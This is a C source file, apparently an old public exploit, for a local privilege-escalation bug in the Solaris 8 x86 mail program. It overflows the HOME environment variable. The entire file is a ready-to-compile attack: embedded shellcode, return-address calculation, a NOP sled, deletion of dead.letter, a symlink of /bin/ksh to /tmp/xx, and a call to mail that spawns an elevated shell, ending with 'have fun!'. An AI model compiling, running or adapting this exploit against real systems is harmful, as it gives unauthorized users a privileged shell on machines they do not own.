/*
 *  Solaris x86 mail HOME environment variable buffer overflow exploit
 *                              by Virtualcat (virtualcat@hotmail.com)
 *                                             (virtualcat@xfocus.org)
 *                                             (http://www.xfocus.org)
 *
 *  Compile: gcc -o mailex mailex.c
 *  Run  : ./mailex [Adjustment]
 *
 *  Tested on Solaris 8 (x86).  Default should work.
 */

#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define  RET_DIS           1028
#define  NOP               0x90
#define  NNOP              512

#define  ENV_VAR           "HOME"

#define  USER_UPPER_MAGIC  0x08047fff

/* Shell code taken from Pablo Sor's "mailx -F" exploit code  */
char shellCode[]=
    "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
    "\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
    "\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
    "\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
    "\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
    "\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
    "\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
    "\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
    "\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
    "\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";

int get_esp()
{
  __asm__("mov %esp,%eax");
}

int  getEnvAddr(const char* envPtr)
{
  int  envAddr = NULL;
  int  retCode = 0;

  char* charPtr = (char *) get_esp();

  /* Search for the starting address of the environment string for  */
  /* the specified environment variable          */
  while((unsigned int)  charPtr < (unsigned int) USER_UPPER_MAGIC)
  {
    retCode = memcmp((unsigned char *) charPtr++, envPtr, 4);
    /* Found */
    if(retCode == 0)
    {
      envAddr = (int) (charPtr - 1);
      break;
    }
  }

  return envAddr;
}

int main(int argc, char** argv)
{
  char  buff[256] = {0};

  int*  intPtr = NULL;
  char*  buffPtr = NULL;
  char*  charPtr = NULL;

  int  retAddr = 0;
  int  retValue = 0;

  int  buffLen = 0;
  int  adjustment = 0;
  int  strLen = 0;
  int  alignment = 0;
  int  diff = 0;
  int  i;

  int shellCodeLen = strlen(shellCode);

  if(argc == 2)
  {
    adjustment = atoi(argv[1]);
  }

  buffLen = strlen(ENV_VAR) + RET_DIS + NNOP + shellCodeLen + 1;
  charPtr = getenv(ENV_VAR);

  /* Adjust the stupid alignment  */
  strLen = strlen(charPtr) + 1;
  alignment = strLen % 4;
  if(alignment != 0)
  {
    alignment = 4 - alignment;
    strLen += alignment;
  }

  alignment = buffLen % 4;
  if(alignment != 0)
  {
    alignment = 4 - alignment;
    buffLen += alignment;
  }

  retValue = getEnvAddr(ENV_VAR);
  diff = buffLen - strLen;
  retAddr = retValue - diff + strlen(ENV_VAR) + 1;
  alignment = retAddr % 4;

  if(alignment != 0)
  {
    alignment = 4 - alignment;
  }
  retAddr += RET_DIS + alignment +  adjustment;

  /* If the $HOME/dead.letter file exists, then delete it  */
  /* Otherwise the overfolow won't take place    */
  strcpy(buff, charPtr);
  strcat(buff, "/dead.letter");

  i = access(buff, F_OK);
  if(i == 0)
  {
    unlink(buff);
  }

  /* Allocate memory for the evil buffer  */
  buffPtr = (char *) malloc(buffLen);

  if(buffPtr != NULL)
  {

    strcpy(buffPtr, ENV_VAR);
    strcat(buffPtr, "=");
    charPtr = (char *) (buffPtr + strlen(buffPtr));

    /* Fill the rest of the buffer with 'A'   */
    memset(charPtr, 0x41, buffLen - strlen(buffPtr));

    /* Butt in the return address      */
    intPtr = (int *) (charPtr + RET_DIS);
    *intPtr++ = retAddr;

    /* Make sure the NOPs are located word aligned   */
    charPtr = (char *) intPtr;
    charPtr += alignment;

    for(i=0; i<NNOP; i++)
    {
      *charPtr++ = NOP;
    }

    for(i=0; i<shellCodeLen; i++)
    {
      *charPtr++ = shellCode[i];
    }
    *charPtr = 0;

    symlink("/bin/ksh","/tmp/xx");
    putenv(buffPtr);

    printf("Jumping to 0x%.8x\n", retAddr);
    printf("Press Ctrl+C to contine,  have fun!\n");

    system("/usr/bin/mail a");
    unlink("/tmp/xx");
  }
  else
  {
    printf("No more free memory!");
  }
}
